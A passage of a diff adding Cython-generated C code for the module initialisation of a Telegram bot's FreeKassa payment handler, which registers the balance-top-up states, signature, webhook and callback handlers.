"handlers/payments/freekassa_pay.py":18 + * from database import add_payment, update_balance + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 18, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":20 + * from handlers.texts import PAYMENT_OPTIONS + * + * router = Router() # <<<<<<<<<<<<<< + * logging.basicConfig(level=logging.DEBUG) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":21 + * + * router = Router() + * logging.basicConfig(level=logging.DEBUG) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logging); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_basicConfig); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logging); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_DEBUG); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_level, __pyx_t_5) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":24 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_freekassa = State() + * waiting_for_payment_confirmation_freekassa = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_5); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5)) __PYX_ERR(0, 24, __pyx_L1_error); + __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PEP560_update_bases(__pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = __Pyx_CalculateMetaclass(NULL, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_Py3MetaclassPrepare(__pyx_t_2, __pyx_t_5, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_freekassa_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (__pyx_t_5 != __pyx_t_3) { + if (unlikely((PyDict_SetItemString(__pyx_t_4, "__orig_bases__", __pyx_t_3) < 0))) __PYX_ERR(0, 24, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":25 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_freekassa = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_freekassa = State() + * entering_custom_amount_freekassa = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_4, __pyx_n_s_choosing_amount_freekassa, __pyx_t_3) < 0) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":26 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_freekassa = State() + * waiting_for_payment_confirmation_freekassa = State() # <<<<<<<<<<<<<< + * entering_custom_amount_freekassa = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_4, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_3) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":27 + * choosing_amount_freekassa = State() + * waiting_for_payment_confirmation_freekassa = State() + * entering_custom_amount_freekassa = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_4, __pyx_n_s_entering_custom_amount_freekassa, __pyx_t_3) < 0) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":24 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_freekassa = State() + * waiting_for_payment_confirmation_freekassa = State() + */ + __pyx_t_3 = __Pyx_Py3ClassCreate(__pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_t_5, __pyx_t_4, NULL, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":30 + * + * + * def generate_signature(params, api_key): # <<<<<<<<<<<<<< + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) + */ + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13freekassa_pay_1generate_signature, 0, __pyx_n_s_generate_signature, NULL, __pyx_n_s_handlers_payments_freekassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__27)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_generate_signature, __pyx_t_5) < 0) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":36 + * + * + * async def create_payment(user_id, amount, email, ip): # <<<<<<<<<<<<<< + * payment_id = str(uuid.uuid4()) + * nonce = int(time.time() * 1000) + */ + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13freekassa_pay_3create_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_create_payment, NULL, __pyx_n_s_handlers_payments_freekassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__2)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_create_payment, __pyx_t_5) < 0) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":70 + * + * + * async def freekassa_webhook(request): # <<<<<<<<<<<<<< + * data = await request.json() + * logging.debug(f" FreeKassa: {data}") + */ + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13freekassa_pay_6freekassa_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_freekassa_webhook, NULL, __pyx_n_s_handlers_payments_freekassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_freekassa_webhook, __pyx_t_5) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":87 + * + * + * @router.callback_query(lambda c: c.data == "pay_freekassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_freekassa( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13freekassa_pay_20lambda1, 0, __pyx_n_s_lambda, NULL, __pyx_n_s_handlers_payments_freekassa_pay, __pyx_d, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13freekassa_pay_9process_callback_pay_freekassa, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_freekassa, NULL, __pyx_n_s_handlers_payments_freekassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__6)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_freekassa, __pyx_t_5) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":127 + * + * + * @router.callback_query(F.data.startswith("freekassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__31, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13freekassa_pay_12process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_freekassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__9)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_4) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/freekassa_pay.py":167 + * + * + * @router.callback_query(F.data == "enter_custom_amount_freekassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_enter_custom_amount_freekassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13freekassa_pay_15process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_freekassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__17)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_4) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/freekassa_pay.py":175 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_freekassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_entering_custom_amount_freekassa); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 175, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 175, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13freekassa_pay_18process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_freekassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__19)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_5) < 0) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":1 + * import hashlib # <<<<<<<<<<<<<< + * import hmac + * import logging + */ + __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_5) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.freekassa_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + 